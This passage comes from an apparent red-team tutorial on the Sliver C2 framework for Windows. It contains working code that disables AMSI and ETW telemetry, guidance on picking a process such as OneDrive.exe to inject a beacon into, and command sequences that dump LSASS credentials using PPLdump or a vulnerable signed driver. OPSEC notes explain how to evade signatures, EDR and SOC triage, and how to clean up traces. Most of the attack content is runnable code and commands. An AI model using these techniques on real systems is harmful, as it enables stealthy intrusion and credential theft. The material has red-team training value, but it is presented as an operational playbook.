        Marshal.Copy(patch, 0, amsiAddr, patch.Length);
        VirtualProtect(amsiAddr, (uint)patch.Length, oldProtect, out oldProtect);
    }
}

// Method 2: Null out AmsiContext — forces AmsiScanBuffer to return S_OK without scanning
// This works because AmsiScanBuffer checks if the AmsiContext handle is valid first
// Setting the internal field 'amsiInitFailed' to true causes early exit

// Reflection-based (works in PowerShell context — obfuscate variable names):
var a = [Ref].Assembly.GetTypes()
ForEach($b in $a) { if ($b.Name -like "*iUtils") {$c = $b} }
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) { if ($e.Name -like "*itFailed") {$f = $e} }
$f.SetValue($null, $true)
// After this: PowerShell AMSI is disabled for the rest of the session

OPSEC: The AmsiScanBuffer patch bytes (0xB8 0x57 0x00 0x07 0x80 0xC3) are themselves a known AMSI signature. Use dynamic byte construction or encrypt the patch array:

// Build patch bytes at runtime to evade static string/byte scanning:
byte[] patch = new byte[6];
patch[0] = 0xB8; patch[1] = 0x57; patch[2] = 0x00;
patch[3] = 0x07; patch[4] = 0x80; patch[5] = 0xC3;

Better: derive from XOR-obfuscated array decoded at runtime.

11.2 — ETW Bypass: Silencing the Telemetry Bus

Event Tracing for Windows (ETW) is the kernel telemetry bus. EDRs subscribe to ETW providers (Microsoft-Windows-Threat-Intelligence, Microsoft-Windows-DotNETRuntime, etc.) to receive real-time events about process activity, .NET assembly loads, and API calls.

What Sliver's --etw-bypass patches:

// Patch EtwEventWrite to return immediately — no events flow to EDR subscribers
// This is a process-local patch (affects only the current process's ETW output)

public static void PatchEtw() {
    string ntdll = "ntdll" + ".dll";
    string func  = "Etw" + "Event" + "Write";

    IntPtr etwAddr = GetProcAddress(GetModuleHandle(ntdll), func);

    // Patch: 'ret' (0xC3) — function returns immediately without writing any event
    byte[] patch = new byte[] { 0xC3 };

    uint oldProtect;
    VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
    Marshal.Copy(patch, 0, etwAddr, 1);
    VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);
}

Additional ETW providers to patch for .NET assembly hiding:

// For .NET CLR event hiding (blocks Microsoft-Windows-DotNETRuntime provider):
// Patch: clrjit.dll exports that feed into ETW tracing
// Or: patch the CLR's internal ETW write path via reflection

// PowerShell ETW provider (blocks PSEtwLogProvider):
$a=[Reflection.Assembly]::LoadWithPartialName('System.Core')
$b=$a.GetType('System.Diagnostics.Eventing.EventProvider')
$c=$b.GetField('m_enabled','NonPublic,Instance')
$d=$c.GetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null))
$c.SetValue($d, 0)
// After this: PowerShell ETW events stop flowing to subscribers

OPSEC: Patching EtwEventWrite is global within the process — all ETW events from this process stop. Some EDRs monitor ntdll function integrity and alert when EtwEventWrite is patched (its first byte changes from 4C to C3). Combine with ntdll unhooking from a suspended process (Perun's Fart) to load a fresh ntdll that restores all functions, then re-patch only what you need. See 6.2 Syscall Evasion Deep Dive for ntdll unhooking details.

11.3 — Process Injection Target Selection Logic

Not all injection targets are equal. The selection of a host process for your beacon determines detection probability more than the injection technique itself.

Decision framework:

Question 1: Does the target make network connections?
  → YES: better cover for C2 callbacks
  → NO: network connection from this process is anomalous

Question 2: Is the target long-lived?
  → YES: beacon survives until reboot
  → NO: beacon dies when user closes the app (notepad.exe)

Question 3: Does the target have a wide/normal token scope?
  → Match your needed privilege: user vs SYSTEM vs NETWORK SERVICE

Question 4: Does the EDR specifically monitor this process?
  → lsass.exe, csrss.exe, winlogon.exe: always monitored
  → svchost.exe: monitored but expected to do things
  → OneDrive.exe, Teams.exe: rarely monitored, makes cloud traffic

Question 5: Will injecting create a suspicious parent-child relationship?
  → If you inject by spawning a new child: PPID spoofing required
  → If you inject into existing process: no new process created (preferred)

Target selection table:

Practical injection into OneDrive.exe (existing process, no new process spawned):

# Find OneDrive PID:
sliver (session) > execute tasklist | findstr OneDrive
# Output: OneDrive.exe  4512  ...

# Inject shellcode beacon into existing OneDrive process:
sliver (session) > execute-shellcode /tmp/win_sc.bin --pid 4512

# Verify: beacon callbacks now appear to come from OneDrive.exe
# NDR sees cloud traffic from OneDrive — no anomaly

11.4 — PPL Bypass for LSASS Credential Dumping

Modern Windows runs LSASS as a Protected Process Light (PPL). This means even SYSTEM-level processes cannot open LSASS with PROCESS_VM_READ — required for Mimikatz-style dumps. PPL bypass is required before direct LSASS memory access.

Option A: PPLdump (userland PPL bypass)

# PPLdump abuses a race condition in the Windows kernel's process protection
# to obtain a handle to LSASS with full access rights
# Requires: local administrator, works on Windows 10/11 without Credential Guard
# Does NOT require a vulnerable driver

# Download: github.com/itm4n/PPLdump

sliver (session, elevated) > upload /opt/tools/PPLdump64.exe C:\Windows\Temp\PPLdump64.exe

sliver (session, elevated) > execute C:\Windows\Temp\PPLdump64.exe lsass.exe C:\Windows\Temp\lsass.dmp
# Output: [+] LSASS dump at C:\Windows\Temp\lsass.dmp (110MB)

sliver (session, elevated) > download C:\Windows\Temp\lsass.dmp /tmp/lsass.dmp

# On attacker — parse with pypykatz (no Mimikatz needed):
pip install pypykatz
pypykatz lsa minidump /tmp/lsass.dmp
# Extracts: NTLM hashes, Kerberos tickets, DPAPI keys, plaintext passwords (if WDigest enabled)

# Cleanup:
sliver (session) > execute del C:\Windows\Temp\PPLdump64.exe /f /q
sliver (session) > execute del C:\Windows\Temp\lsass.dmp /f /q

Option B: BYOVD kernel driver (bypasses Credential Guard too)

# RTCore64.sys (MSI Afterburner driver) — CVE-2019-16098
# Provides arbitrary kernel memory R/W — use to remove PPL protection bits from EPROCESS

# LOLDrivers reference: loldrivers.io/drivers/rtcore64/

sliver (session, elevated) > upload /opt/tools/RTCore64.sys C:\Windows\Temp\RTCore64.sys

# Register and start the driver:
sliver (session, elevated) > execute sc create RTCore64 type= kernel start= demand binPath= "C:\Windows\Temp\RTCore64.sys"
sliver (session, elevated) > execute sc start RTCore64

# Use RTCore64 to clear LSASS protection bits (tool: PPLKiller):
# PPLKiller: github.com/RedCursorSecurityConsulting/PPLKiller
sliver (session, elevated) > upload /opt/tools/PPLKiller.exe C:\Windows\Temp\PPLKiller.exe
sliver (session, elevated) > execute C:\Windows\Temp\PPLKiller.exe /disablePPL lsass.exe
# After this: LSASS is no longer PPL-protected → dump with Mimikatz/pypykatz normally

# Now dump LSASS via Task Manager or execute-assembly:
sliver (session, elevated) > execute-assembly /opt/tools/SharpDump.exe

OPSEC: BYOVD driver loading generates Windows Event ID 6 (Driver Loaded) and is detectable by Sysmon (Event ID 6) and most EDRs. Load the driver in a tight window, dump immediately, remove driver and cleanup before the SOC has time to triage the alert. PPLdump is significantly quieter — prefer it when Credential Guard is absent.

Determine if Credential Guard is enabled (before attempting LSASS dump):

sliver (beacon) > execute-assembly /opt/tools/Seatbelt.exe CredentialGuard
# OR
sliver (beacon) > execute reg query "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags
# 0x0 = Credential Guard disabled → PPLdump works
# 0x1 = Credential Guard enabled with UEFI lock → requires BYOVD or alternate cred paths
# 0x2 = Credential Guard enabled (no UEFI lock) → disable via reg and reboot, or use BYOVD

Resources

Part of the Red Teaming 101 series. Parent: P7 — C2 Infrastructure · Linux companion: 7.9a Sliver C2 Linux · See also: 7.11 C2 Jump Server Infrastructure · 7.6 Sliver HTTP C2 Profiles